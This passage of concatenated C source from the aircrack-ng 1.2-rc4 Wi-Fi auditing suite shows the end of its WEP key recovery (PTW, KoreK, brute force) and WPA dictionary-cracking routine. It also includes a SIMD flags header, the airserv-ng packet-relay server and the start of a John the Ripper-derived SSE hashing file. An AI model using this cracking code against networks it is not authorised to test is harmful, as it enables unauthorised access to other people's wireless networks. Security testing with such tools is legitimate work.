cm_pipe[i] ); if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute) { unused = pipe(bf_pipe[i]); bf_nkeys[i] = 0; } } __start: /* launch the attack */ pthread_mutex_lock(&mx_nb); nb_tried = 0; nb_kprev = 0; pthread_mutex_unlock(&mx_nb); chrono( &t_begin, 1 ); chrono( &t_stats, 1 ); chrono( &t_kprev, 1 ); signal( SIGWINCH, sighandler ); if( opt.amode == 1 ) goto crack_wep; if( opt.amode == 2 ) goto crack_wpa; if( ap_cur->crypt == 2 ) { crack_wep: /* Default key length: 128 bits */ if( opt.keylen == 0 ) opt.keylen = 13; if(j + opt.do_brute > 4) { printf( "Bruteforcing more than 4 bytes will take too long, aborting!" ); goto exit_main; } for( i=0; inb_ivs_vague - (ap_cur->nb_ivs_vague % PTW_TRY_STEP); do { if(ap_cur->nb_ivs_vague >= opt.next_ptw_try) { if(!opt.is_quiet) printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague); ret = crack_wep_ptw(ap_cur); if( opt.oneshot == 1 && ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about 80 000 IVs, sometimes more.\n\n" " * Try to raise the fudge factor (-f).\n"); ret=0; } if(ret) { opt.next_ptw_try += PTW_TRY_STEP; printf("Failed. Next try with %d IVs.\n", opt.next_ptw_try); } } if(ret) usleep(10000); }while(ret != 0); } else if(opt.dict != NULL) { ret = crack_wep_dict(); } else { for( i = 0; i < opt.nbcpu; i++ ) { /* start one thread per cpu */ if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute) { if (pthread_create( &(tid[id]), NULL, (void *) inner_bruteforcer_thread, (void *) (long) i ) != 0) { perror( "pthread_create failed" ); goto exit_main; } id++; } if( pthread_create( &(tid[id]), NULL, (void *) crack_wep_thread, (void *) (long) i ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } id++; } if( ! opt.do_testy ) { do { ret = do_wep_crack1( 0 ); } while( ret == RESTART ); if( ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about one million IVs, sometimes more.\n\n" " * If all votes seem equal, or if there are many negative votes,\n" " then the capture file is corrupted, or the key is not static.\n\n" " * A false positive prevented the key from being found. Try to\n" " disable each korek attack (-k 1 .. 17), raise the fudge factor\n" " (-f)" ); if (opt.do_testy) printf( "and try the experimental bruteforce attacks (-y)." ); printf( "\n" ); } } else { for( i = opt.keylen - 3; i < opt.keylen - 2; i++ ) { do { ret = do_wep_crack2( i ); } while( ret == RESTART ); if( ret == SUCCESS ) break; } if( ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about one million IVs, sometimes more.\n\n" " * If all votes seem equal, or if there are many negative votes,\n" " then the capture file is corrupted, or the key is not static.\n\n" " * A false positive prevented the key from being found. Try to\n" " disable each korek attack (-k 1 .. 17), raise the fudge factor\n" " (-f)" ); if (opt.do_testy) printf( "or try the standard attack mode instead (no -y option)." ); printf( "\n" ); } } } } if( ap_cur->crypt == 3 ) { crack_wpa: #ifdef HAVE_SQLITE if (opt.dict == NULL && db == NULL) goto nodict; #else if ( opt.dict == NULL ) goto nodict; #endif ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->target && ap_cur->wpa.state == 7 ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No valid WPA handshakes found.\n" ); goto exit_main; } if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set ) { printf( "An ESSID is required. Try option -e.\n" ); goto exit_main; } if( opt.essid_set && ap_cur->essid[0] == '\0' ) { memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) ); strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 ); } #ifdef HAVE_SQLITE if (db == NULL) { #endif for( i = 0; i < opt.nbcpu; i++ ) { if (ap_cur->ivbuf_size) { free(ap_cur->ivbuf); ap_cur->ivbuf = NULL; ap_cur->ivbuf_size = 0; } uniqueiv_wipe( ap_cur->uiv_root ); ap_cur->uiv_root = NULL; ap_cur->nb_ivs = 0; /* start one thread per cpu */ wpa_data[i].ap = ap_cur; wpa_data[i].thread = i; wpa_data[i].threadid = id; wpa_data[i].nkeys = 17; wpa_data[i].key_buffer = (char*) malloc(wpa_data[i].nkeys * 128); wpa_data[i].front = 0; wpa_data[i].back = 0; memset(wpa_data[i].key, 0, sizeof(wpa_data[i].key)); pthread_cond_init(&wpa_data[i].cond, NULL); pthread_mutex_init(&wpa_data[i].mutex, NULL); if( pthread_create( &(tid[id]), NULL, (void *) crack_wpa_thread, (void *) &(wpa_data[i]) ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } #ifdef pthread_setaffinity_np // set affinity to one processor cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(i, &cpuset); pthread_setaffinity_np(tid[id], sizeof(cpu_set_t), &cpuset); #endif id++; } ret = do_wpa_crack(); // we feed keys to the cracking threads wpa_wordlists_done = 1; // we tell the threads that they shouldn't expect more words (don't wait for parallel crack) for( i = 0; i < opt.nbcpu; i++ ) // we wait for the cracking threads to end pthread_join(tid[--id], NULL); for( i = 0; i < opt.nbcpu; i++ ) { if (wpa_data[i].key[0] != 0) { ret = SUCCESS; break; } } if (ret==SUCCESS) { if( opt.is_quiet ) { printf( "KEY FOUND! [ %s ]\n", wpa_data[i].key ); clean_exit( SUCCESS ); } if( opt.l33t ) printf( "\33[31;1m" ); printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) strlen(wpa_data[i].key) ) / 2, wpa_data[i].key ); if( opt.l33t ) printf( "\33[32;22m" ); clean_exit( SUCCESS ); } else { printf("%sPassphrase not in dictionary\n", (opt.is_quiet?"":"\n")); if (opt.is_quiet) clean_exit( FAILURE ); if (opt.stdin_dict) printf("\33[5;30H %lld",nb_tried); else { printf("\33[4;18H%lld/%lld keys tested ", nb_tried, opt.wordcount); printf("\33[6;7HTime left: "); calctime(0, ((float)nb_tried / (float)opt.wordcount)*100); } printf("\33[32;0H\n"); } printf("\n"); #ifdef HAVE_SQLITE } else { if( ! opt.is_quiet && !_speed_test) { if( opt.l33t ) printf( "\33[37;40m" ); printf( "\33[2J" ); if( opt.l33t ) printf( "\33[34;1m" ); printf("\33[2;34H%s",progname); } sql = sqlite3_mprintf(sqlformat,ap_cur->essid); while (1) { rc = sqlite3_exec(db,sql,sql_wpacallback,ap_cur,&zErrMsg); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc]); fflush(stdout); looperc = (looperc+1) % sizeof(looper); sleep(1); } else { if (rc != SQLITE_OK && rc != SQLITE_ABORT ) { fprintf(stderr, "SQL error: %s\n", zErrMsg); sqlite3_free(zErrMsg); } if (waited != 0) printf("\n\n"); break; } } sqlite3_free(sql); } #endif } exit_main: #ifdef HAVE_SQLITE if (db != NULL) { sqlite3_close(db); } #endif #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) _PGOPTI_Prof_Dump(); #endif if( ! opt.is_quiet ) printf( "\n" ); fflush( stdout ); // if( ret == SUCCESS ) kill( 0, SIGQUIT ); // if( ret == FAILURE ) kill( 0, SIGTERM ); clean_exit(ret); _exit( ret ); } aircrack-ng-1.2-rc4/src/simd-intrinsics-load-flags.h0000644000000000000000000001340712640667310021021 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software is * Copyright (c) 2011-2015 JimF, * Copyright (c) 2011-2015 magnum, * and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without * modification, are permitted. */ #ifndef __SSE_INTRINS_LOAD_FLAGS__ #define __SSE_INTRINS_LOAD_FLAGS__ /*************************************************************** * WARNING!!!! any changes to these numbers requires a new * build of simd-intrinsics-32.S and simd-intrinsics-64.S ***************************************************************/ /* * SSEi_MIXED_IN * Input is a ready-to-use array of 16xCOEF ints that are properly SIMD * interleaved, cleaned, appended with 0x80 and has a proper a length word. * The data will be copied to stack workspace. * * SSEi_FLAT_IN * Input is an array of 64xCOEF (128xCOEF_64 for 64 bit crypts) byte 'flat' * values, the hash function has to shuffle it. But 0x80 and length must be * in place. * * SSEi_CSTRING_IN * Input will be just as for OpenSSL: A normal char[COEF][64] array where * each string ends in NULL, with no 0x80 or length prepared. The intrinsics * function needs to take care of that as well as cleaning (after NULL), * shuffling and possibly do endian swapping if applicable. * * SSEi_FLAT_OUT * Output will be just as from OpenSSL. Swapped if applicable, not interleaved. * This should only be used for "final" crypt (and only for slow formats). * * SSEi_RELOAD * No init; state from last crypt is held in output buffer. * * SSEi_RELOAD_INP_FMT * No init; state from last crypt is held in output buffer. However, it is in * 'INPUT' format. This is a no-op unless PARA > 1. * * SSEi_OUTPUT_AS_INP_FMT * Write final output using 'INPUT' format. Will not matter unless PARA > 1 * * SSEi_REVERSE_STEPS * Reverse some steps, at minimum the "a = a + init". Only valid if not doing * reload, and if format does corresponding things in binary() et. al. * * SSEi_2BUF_INPUT * Input array is 2x in size, for a possible max input of 64+55 (119) bytes. * * SSEi_2BUF_INPUT_FIRST_BLK * Input array 2x in size. This is the first block, so we must rotate element * 14/15 if in flat mode. * * SSEi_4BUF_INPUT * Input array is 4x in size (This is seen in the dynamic type, for sha256. We * have 256 byte input buffers there). * * SSEi_4BUF_INPUT_FIRST_BLK * Input array 4x in size. This is the first block, so we must rotate element * 14/15 if in flat mode. * * SSEi_FLAT_RELOAD_SWAPLAST * Can be an issue for flat mode, and reload (i.e. multi buffers.) The last * limb should NEVER have this flag set. This also only 'affects' the SHA1 * and SHA256 formats. Similar to SSEi_4BUF_INPUT_FIRST_BLK, but simply says * we will have more buffers coming after this one. * * SSEi_CRYPT_SHA224 use SHA224 IV. * SSEi_CRYPT_SHA384 use SHA384 IV. * These are specific to SHA2 hashes. Reusing the same bit, since only 1 will * be used (i.e. it is not valid to do SSE_CRYPT_SHA224|SSE_CRYPT_SHA224) * * WARNING, SHA224 requires a FULL SHA256 width output buffer, and SHA384 * requires a full SHA512 width output buffer. This is to allow proper * reloading and doing multi-limb crypts. */ typedef enum { SSEi_MIXED_IN = 0x0, SSEi_FLAT_IN = 0x1, /* SSEi_CSTRING_IN = 0x2, NOT IMPLEMENTED YET*/ SSEi_FLAT_OUT = 0x4, SSEi_RELOAD = 0x8, SSEi_RELOAD_INP_FMT = 0x10 | SSEi_RELOAD, SSEi_OUTPUT_AS_INP_FMT = 0x20, SSEi_REVERSE_STEPS = 0x40, SSEi_2BUF_INPUT = 0x80, SSEi_2BUF_INPUT_FIRST_BLK = 0x100 | SSEi_2BUF_INPUT, SSEi_4BUF_INPUT = 0x200, SSEi_4BUF_INPUT_FIRST_BLK = 0x400 | SSEi_4BUF_INPUT, SSEi_FLAT_RELOAD_SWAPLAST = 0x800, SSEi_CRYPT_SHA224 = 0x1000, SSEi_CRYPT_SHA384 = 0x1000, SSEi_OUTPUT_AS_2BUF_INP_FMT = 0x2000 | SSEi_OUTPUT_AS_INP_FMT } SSEi_FLAGS; #endif /* __SSE_INTRINS_LOAD_FLAGS__ */ aircrack-ng-1.2-rc4/src/airserv-ng.c0000644000000000000000000002601412631712760015741 0ustar rootroot /* * Server for osdep network driver. Uses osdep itself! [ph33r teh recursion] * * Copyright (c) 2007-2009 Andrea Bittau * * Advanced WEP attacks developed by KoreK * WPA-PSK attack code developed by Joshua Wright * SHA1 MMX assembly code written by Simon Marechal * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #ifdef __NetBSD__ #include #endif #include "osdep/osdep.h" #include "osdep/network.h" #include "version.h" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void sighandler( int signum ) { if( signum == SIGPIPE ) printf("broken pipe!\n"); } struct client { int c_s; char c_ip[16]; struct client *c_next; struct client *c_prev; }; static struct sstate { int ss_s; struct wif *ss_wi; struct client ss_clients; int ss_level; } _ss; static struct sstate *get_ss() { return &_ss; } static void usage(char *p) { if (p) {} char *version_info = getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: airserv-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -p : TCP port to listen on (default:666)\n" " -d : Wifi interface to use\n" " -c : Channel to use\n" " -v : Debug level (1 to 3; default: 1)\n" "\n", version_info); free(version_info); exit(1); } static void debug(struct sstate *ss, struct client *c, int l, char *fmt, ...) { va_list ap; if (ss->ss_level < l) return; printf("[%s] ", c->c_ip); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } #if 0 static void print_clients(struct sstate *ss) { struct client *c = ss->ss_clients.c_next; int i = 1; while (c != &ss->ss_clients) { printf("Client %d fd %d\n", i++, c->c_s); c = c->c_next; } } #endif static void client_add(struct sstate *ss, int s, struct sockaddr_in *s_in) { struct client *c; if (!(c = calloc(sizeof(struct client), 1))) err(1, "calloc()"); c->c_s = s; strncpy(c->c_ip, inet_ntoa(s_in->sin_addr), sizeof(c->c_ip)-1); printf("Connect from %s\n", c->c_ip); c->c_prev = &ss->ss_clients; c->c_next = ss->ss_clients.c_next; c->c_next->c_prev = c; ss->ss_clients.c_next = c; } static void client_kill(struct client *c) { c->c_prev->c_next = c->c_next; c->c_next->c_prev = c->c_prev; printf("Death from %s\n", c->c_ip); free(c); c = NULL; } static void card_open(struct sstate *ss, char *dev) { struct wif *wi = wi_open(dev); if (!wi) err(1, "wi_open()"); ss->ss_wi = wi; } static int card_set_chan(struct sstate *ss, int chan) { return wi_set_channel(ss->ss_wi, chan); } static int card_get_chan(struct sstate *ss) { return wi_get_channel(ss->ss_wi); } static int card_set_rate(struct sstate *ss, int rate) { return wi_set_rate(ss->ss_wi, rate); } static int card_get_rate(struct sstate *ss) { return wi_get_rate(ss->ss_wi); } static int card_get_monitor(struct sstate *ss) { return wi_get_monitor(ss->ss_wi); } static int card_read(struct sstate *ss, void *buf, int len, struct rx_info *ri) { int rc; if ((rc = wi_read(ss->ss_wi, buf, len, ri)) == -1) err(1, "wi_read()"); return rc; } static int card_write(struct sstate *ss, void *buf, int len, struct tx_info *ti) { return wi_write(ss->ss_wi, buf, len, ti); } static int card_get_mac(struct sstate *ss, unsigned char *mac) { return wi_get_mac(ss->ss_wi, mac); } static void open_sock(struct sstate *ss, int port) { int s; struct sockaddr_in s_in; int one = 1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = INADDR_ANY; if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) err(1, "socket()"); if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1) err(1, "setsockopt()"); if (bind(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); if (listen(s, 5) == -1) err(1, "listen()"); ss->ss_s = s; } static void open_card_and_sock(struct sstate *ss, char *dev, int port, int chan) { printf("Opening card %s\n", dev); card_open(ss, dev); printf("Setting chan %d\n", chan); if (card_set_chan(ss, chan) == -1) err(1, "card_set_chan()"); printf("Opening sock port %d\n", port); open_sock(ss, port); printf("Serving %s chan %d on port %d\n", dev, chan, port); } static void net_send_kill(struct client *c, int cmd, void *data, int len) { if (net_send(c->c_s, cmd, data, len) == -1) client_kill(c); } static void handle_set_chan(struct sstate *ss, struct client *c, unsigned char *buf, int len) { uint32_t chan; uint32_t rc; if (len != sizeof(chan)) { client_kill(c); return; } chan = *((uint32_t*)buf); chan = ntohl(chan); debug(ss, c, 2, "Got setchan %d\n", chan); rc = card_set_chan(ss, chan); rc = htonl(rc); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } static void handle_set_rate(struct sstate *ss, struct client *c, unsigned char *buf, int len) { uint32_t rate; uint32_t rc; if (len != sizeof(rate)) { client_kill(c); return; } rate = *((uint32_t*)buf); rate = ntohl(rate); debug(ss, c, 2, "Got setrate %d\n", rate); rc = card_set_rate(ss, rate); rc = htonl(rc); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } static void handle_get_mac(struct sstate *ss, struct client *c) { unsigned char mac[6]; int rc; rc = card_get_mac(ss, mac); if (rc == -1) { uint32_t x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } else net_send_kill(c, NET_MAC, mac, 6); } static void handle_get_chan(struct sstate *ss, struct client *c) { int rc = card_get_chan(ss); uint32_t chan; chan = htonl(rc); net_send_kill(c, NET_RC, &chan, sizeof(chan)); } static void handle_get_rate(struct sstate *ss, struct client *c) { int rc = card_get_rate(ss); uint32_t rate; rate = htonl(rc); net_send_kill(c, NET_RC, &rate, sizeof(rate)); } static void handle_get_monitor(struct sstate *ss, struct client *c) { int rc = card_get_monitor(ss); uint32_t x; x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } static void handle_write(struct sstate *ss, struct client *c, void *buf, int len) { struct tx_info *ti = buf; void *hdr = (ti+1); int rc; uint32_t x; len -= sizeof(*ti); debug(ss, c, 2, "Relaying %d bytes packet from client\n", len); rc = card_write(ss, hdr, len, ti); x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } static void handle_client(struct sstate *ss, struct client *c) { unsigned char buf[2048]; int len = sizeof(buf); int cmd; cmd = net_get(c->c_s, buf, &len); if (cmd == -1) { debug(ss, c, 2, "handle_client: net_get()\n"); client_kill(c); return; } /* figure out command */ switch (cmd) { case NET_SET_CHAN: handle_set_chan(ss, c, buf, len); break; case NET_SET_RATE: handle_set_rate(ss, c, buf, len); break; case NET_GET_MAC: handle_get_mac(ss, c); break; case NET_GET_CHAN: handle_get_chan(ss, c); break; case NET_GET_RATE: handle_get_rate(ss, c); break; case NET_GET_MONITOR: handle_get_monitor(ss, c); break; case NET_WRITE: handle_write(ss, c, buf, len); break; default: printf("Unknown request %d\n", cmd); client_kill(c); break; } } static void handle_server(struct sstate *ss) { int dude; struct sockaddr_in s_in; socklen_t len; len = sizeof(s_in); if ((dude = accept(ss->ss_s, (struct sockaddr*) &s_in, &len)) == -1) err(1, "accept()"); client_add(ss, dude, &s_in); } static void client_send_packet(struct sstate *ss, struct client *c, unsigned char *buf, int rd) { /* XXX check if TX will block */ if (rd == -1) { uint32_t rc = htonl(rd); debug(ss, c, 3, "Sending result code %d to client\n", rd); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } else { debug(ss, c, 3, "Sending %d bytes packet to client\n", rd); net_send_kill(c, NET_PACKET, buf, rd); } } static void handle_card(struct sstate *ss) { unsigned char buf[2048]; int rd; struct rx_info *ri = (struct rx_info*) buf; struct client *c; struct client *next_c; rd = card_read(ss, ri + 1, sizeof(buf) - sizeof(*ri), ri); if (rd >= 0) rd += sizeof(*ri); ri->ri_mactime = __cpu_to_be64(ri->ri_mactime); ri->ri_power = __cpu_to_be32(ri->ri_power); ri->ri_noise = __cpu_to_be32(ri->ri_noise); ri->ri_channel = __cpu_to_be32(ri->ri_channel); ri->ri_rate = __cpu_to_be32(ri->ri_rate); ri->ri_antenna = __cpu_to_be32(ri->ri_antenna); ri->ri_freq = __cpu_to_be32(ri->ri_freq); c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { next_c = c->c_next; client_send_packet(ss, c, buf, rd); c = next_c; } } static void serv(struct sstate *ss, char *dev, int port, int chan) { int max; fd_set fds; struct client *c; struct client *next; int card_fd; open_card_and_sock(ss, dev, port, chan); card_fd = wi_fd(ss->ss_wi); while (1) { /* server */ max = ss->ss_s; FD_ZERO(&fds); FD_SET(max, &fds); /* clients */ c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { FD_SET(c->c_s, &fds); if (c->c_s > max) max = c->c_s; c = c->c_next; } /* card */ FD_SET(card_fd, &fds); if (card_fd > max) max = card_fd; if (select(max+1, &fds, NULL, NULL, NULL) == -1) err(1, "select()"); /* handle clients */ c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { next = c->c_next; if (FD_ISSET(c->c_s, &fds)) handle_client(ss, c); c = next; } /* handle server */ if (FD_ISSET(ss->ss_s, &fds)) handle_server(ss); if (FD_ISSET(card_fd, &fds)) handle_card(ss); } } int main(int argc, char *argv[]) { char *device = NULL; int port = 666; int ch; int chan = 1; struct sstate *ss = get_ss(); memset(ss, 0, sizeof(*ss)); ss->ss_clients.c_next = ss->ss_clients.c_prev = &ss->ss_clients; while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1) { switch (ch) { case 'p': port = atoi(optarg); break; case 'd': device = optarg; break; case 'v': ss->ss_level = atoi(optarg); break; case 'c': chan = atoi(optarg); break; case 'h': default: usage(argv[0]); break; } } signal(SIGPIPE, sighandler); if (!device || chan <= 0) usage(argv[0]); serv(ss, device, port, chan); exit(0); } aircrack-ng-1.2-rc4/src/sse-intrinsics.c0000644000000000000000000024023512640667310016644 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software is Copyright (c) 2010 bartavelle, , * and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * New (optional) SHA1 version by JimF 2011, using 16x4 buffer. This change, and * all other modifications to this file by Jim are released with the following terms: * No copyright is claimed, and the software is hereby placed in the public domain. * In case this attempt to disclaim copyright and place the software in the public * domain is deemed null and void, then the software is Copyright (c) 2011 JimF * and it is hereby released to the general public under the following * terms: This software may be modified, redistributed, and used for any * purpose, in source and binary forms, with or without modification. * * Use of XOP intrinsics added by Solar Designer, 2012. * * SHA-2 Copyright 2013, epixoip. Redistribution and use in source and binary * forms, with or without modification, are permitted provided that * redistribution of source retains the above copyright. * * JimF, 2013: * Rewrote SHA-256 function code These improvements over original code found in * rawSHA256_ng_fmt.c (copywrite epixoip) are: * SHA256 and SHA224 support. * Multi block support (reload state from prior crypt) * handle either flat, and SSE interleaved input buffers. * Optional un-BE of results (normally not done). * integration support (simply include "sse-intrinsics.h" * #defines for algorithm name * Output is in interleaved SSE format. * OMP safe (output structure would have been a problem as implemented in * raw_SHA256_ng_fmt.c) Code only requires [16] element array. Original * code required [64] elements. Optionally perform final +=. This can be * eliminated, and only done at binary load (by doing a minus equal there * of the IV). It only works on 1 limb crypts. * Ported SHA512, added SHA384. Code still 50% original epixoip code (from * raw-SHA512_ng_fmt.c) added all setup and tear down logic, to do multi-block, * sha384, flat or interleaved, OMP safe optional un-BE, optional final add of * original vector (the +=). */ #include "arch.h" #include #include #ifdef __XOP__ #include #elif defined __SSE4_1__ #include #elif defined __SSSE3__ #include #endif #include "memory.h" #include "md5.h" //#include "MD5_std.h" #include "stdint.h" #include "johnswap.h" #include "sse-intrinsics-load-flags.h" #include "memdbg.h" #if defined (_MSC_VER) && !defined (_M_X64) /* These are slow, but the F'n 32 bit compiler will not build these intrinsics. Only the 64-bit (Win64) MSVC compiler has these as intrinsics. These slow ones let me debug, and develop this code, and work, but use CPU */ _inline __m128i _mm_set_epi64x (long long a, long long b) { __m128i x; x.m128i_i64[0] = b; x.m128i_i64[1] = a; return x; } _inline __m128i _mm_set1_epi64x(long long a) { __m128i x; x.m128i_i64[0] = x.m128i_i64[1] = a; return x; } #endif #if defined(__GNUC__) && !defined(__INTEL_COMPILER) && !defined(__clang__) && !defined(__llvm__) && !defined (_MSC_VER) #pragma GCC optimize 3 #endif #ifdef __XOP__ // for non XOP, we have a 'special' 16 bit roti. So we simply define // it back to the real roti intrinsic. #define _mm_roti16_epi32 _mm_roti_epi32 #else #define _mm_slli_epi32a(a, s) \ ((s) == 1 ? \ _mm_add_epi32((a), (a)) \ : \ _mm_slli_epi32((a), (s))) #define _mm_cmov_si128(y,z,x) \ (_mm_xor_si128(z, _mm_and_si128(x, _mm_xor_si128 (y,z)))) // XOP roti must handle both ROTL and ROTR. If s < 0, then ROTR. Else ROTL // There's a specialized rotate16, which is specialized for ssse3+ #define _mm_roti_epi32(a, s) \ ((s) < 0 ? \ _mm_or_si128(_mm_srli_epi32((a), ~(s)+1), _mm_slli_epi32a((a),32+(s))) \ : \ _mm_or_si128(_mm_slli_epi32a((a), (s)), _mm_srli_epi32((a), 32-(s)))) // 64 bit roti (both ROTL and ROTR handled) #define _mm_roti_epi64(a, s) \ ((s) < 0 ? \ _mm_or_si128(_mm_srli_epi64((a), ~(s)+1), _mm_slli_epi64((a),64+(s))) \ : \ _mm_or_si128(_mm_slli_epi64((a), (s)), _mm_srli_epi64((a), 64-(s)))) #ifdef __SSSE3__ #define rot16_mask \ _mm_set_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302) #define _mm_roti16_epi32(a,s) \ (_mm_shuffle_epi8((a), rot16_mask)) #else #define _mm_roti16_epi32(a,s) \ (_mm_shufflelo_epi16(_mm_shufflehi_epi16((a), 0xb1), 0xb1)) #endif #endif #ifdef __SSSE3__ #ifndef __XOP__ #define rot16_mask \ _mm_set_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302) #define _mm_roti16_epi32(a,s) \ (_mm_shuffle_epi8((a), rot16_mask)) #endif #define swap_endian_mask \ _mm_set_epi32(0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203) #define swap_endian64_mask \ _mm_set_epi64x(0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL) #define SWAP_ENDIAN(n) \ (n = _mm_shuffle_epi8(n, swap_endian_mask)) #define SWAP_ENDIAN64(n) \ (n = _mm_shuffle_epi8(n, swap_endian64_mask)) #else #define SWAP_ENDIAN(n) \ (n = _mm_xor_si128( \ _mm_srli_epi16( \ _mm_roti16_epi32(n,16), 8), \ _mm_slli_epi16(_mm_roti16_epi32(n,16), 8))) #define SWAP_ENDIAN64(n) \ { \ n = _mm_shufflehi_epi16 (_mm_shufflelo_epi16 (n, 0xb1), 0xb1); \ n = _mm_xor_si128 (_mm_slli_epi16 (n, 8), _mm_srli_epi16 (n, 8)); \ n = _mm_shuffle_epi32 (n, 0xb1); \ } #endif #ifdef __SSE4_1__ #define GATHER_4x(x, y, z) \ { \ x = _mm_cvtsi32_si128 ( y[z] ); \ x = _mm_insert_epi32 (x, y[z+(1<<6)], 1); \ x = _mm_insert_epi32 (x, y[z+(2<<6)], 2); \ x = _mm_insert_epi32 (x, y[z+(3<<6)], 3); \ } #define GATHER_2x(x, y, z) \ { \ x = _mm_cvtsi32_si128 ( y[z] ); \ x = _mm_insert_epi32 (x, y[z+(1<<5)], 1); \ x = _mm_insert_epi32 (x, y[z+(2<<5)], 2); \ x = _mm_insert_epi32 (x, y[z+(3<<5)], 3); \ } #define GATHER(x, y, z) \ { \ x = _mm_cvtsi32_si128 ( y[z] ); \ x = _mm_insert_epi32 (x, y[z+(1<<4)], 1); \ x = _mm_insert_epi32 (x, y[z+(2<<4)], 2); \ x = _mm_insert_epi32 (x, 